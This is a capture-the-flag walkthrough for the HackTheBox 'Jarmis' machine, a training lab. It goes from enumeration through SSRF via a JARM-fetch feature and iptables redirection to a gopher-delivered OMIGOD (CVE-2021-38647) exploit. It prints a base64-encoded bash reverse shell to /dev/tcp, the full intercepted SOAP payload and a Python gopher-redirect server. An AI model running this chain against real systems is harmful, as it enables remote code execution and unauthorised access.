Explore the fundamentals of cybersecurity in the Jarmis Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
| 10.10.11.117 jarmis.htb
|
Script to add hosts automatically
1
2
3
| ip="10.10.11.117"
domain="jarmis.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
|
Mapping
1
| nmap -sCV jarmis.htb -Pn
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| Nmap scan report for jarmis.htb (10.10.11.117)
Host is up (0.071s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Jarmis
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
1
| dirb http://jarmis.htb/
|
Iterate over all ids and filter malicious ones
1
2
3
4
5
| for id in {1..300}; do
curl -s -X 'GET' \
"http://jarmis.htb/api/v1/search/id/$id" \
-H 'accept: application/json' | jq 'select(.ismalicious == true)'
done
|
If you are on Arch Linux, install nmap-netcat
, which includes the -ssl
option (unlike the simpler gnu-netcat
):
1
| sudo nc -lvnp 443 --ssl
|
Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://<vpn-ip>
, which will display the message:
Now, let’s use Metasploit to listen:
1
| sudo msfconsole -x "use auxiliary/server/capture/http; set srvport 443; set SSL true; run"
|
Run the command above, then resend https://<vpn-ip>
in the Fetch Jarm section.
You should receive the response:
Routing 8443 to 443 for Connection Back
- Flush Existing Rules:
1
| sudo iptables -t nat -F
|
- Redirect Traffic:
1
| sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d <vpn-ip> -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
|
- Start Listeners:
- Start a listener on port 443:
1
| sudo nc -lvnp 443 --ssl
|
- Start a listener on port 8443:
1
| sudo nc -lvnp 8443 --ssl
|
- Fetch Jarm: Navigate to Fetch Jarm and input
https://<vpn-ip>
.
You will receive a GET request on port 8443. With this setup, you can send the OMIgod payload through that channel.
Local Open Ports
1
| ffuf -u 'http://jarmis.htb/api/v1/fetch?endpoint=http://localhost:FUZZ' -w <(seq 1 65535) -fs 109
|
1
2
3
4
| 22 [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 223ms]
80 [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 135ms]
5986 [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 199ms]
8001 [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 466ms]
|
SSRF Omigod Using Gopher
The exploit can be found at https://github.com/horizon3ai/CVE-2021-38647/blob/main/omigod.py.
Using Gopher allows for directly embedding headers in the URL, making it easier to weaponize and bypass restrictions.
- First, run Burp Suite on port 8080 (default).
- Intercept the OMIgod payload packet by configuring the OMIgod exploit to route through Burp Suite.
1
2
3
4
5
| wget https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/refs/heads/main/omigod.py
sed -i "s/, verify=False/, verify=False, proxies={'https':'http:\/\/localhost:8080'}/" omigod.py
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
python3 omigod.py -t "$ip" -c "echo -n $(echo -n "bash -i >& /dev/tcp/$ip/9001 0>&1" | base64 -w 0) | base64 -d | bash"
rm -rf omigod.py
|
OMIGOD payload intercepted through Burp Suite.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| POST /wsman HTTP/1.1
Host: 10.10.14.8:5986
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/soap+xml;charset=UTF-8
Content-Length: 1728
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
<s:Header>
<a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
<w:OptionSet s:mustUnderstand="true" />
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ== | base64 -d | bash</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
|
Flush the existing iptables rules and redirect traffic:
1
2
3
| sudo iptables -t nat -F
sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d <vpn-ip> -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
sudo nc -lvnp 443 --ssl
|
Start a listener on a different port:
Python Server to Send the OMIGOD Payload:
In the intercepted Burp payload:
- Increment the
Content-Length
by 2, as this is a requirement for Gopher requests. - Select all, right-click, and choose Convert Selection > URL > URL Encode All Chars.
- Change
omigod-payload
in the Python server below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| #!/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import os
import subprocess
key_path = '/tmp/key.pem'
cert_path = '/tmp/cert.pem'
if not os.path.exists(key_path) or not os.path.exists(cert_path):
subprocess.run(['openssl', 'req', '-x509', '-newkey', 'rsa:4096', '-keyout', key_path, '-out', cert_path, '-days', '365', '-nodes'])
payload = '<omigod-payload>'
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET request received")
self.send_response(301)
self.send_header("Location", f"gopher://127.0.0.1:5985/_{payload}" + '%0d%0a')
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=cert_path, keyfile=key_path)
httpd = HTTPServer(('0.0.0.0', 8443), MainHandler)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print("Serving on https://0.0.0.0:8443")
httpd.serve_forever()
|
Run the following commands to get a shell:
1
2
3
| nano rce
chmod +x rce
./rce
|
Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://<vpn-ip>
.
Finally, read the flags:
1
2
| cat /home/htb/user.txt
cat /root/root.txt
|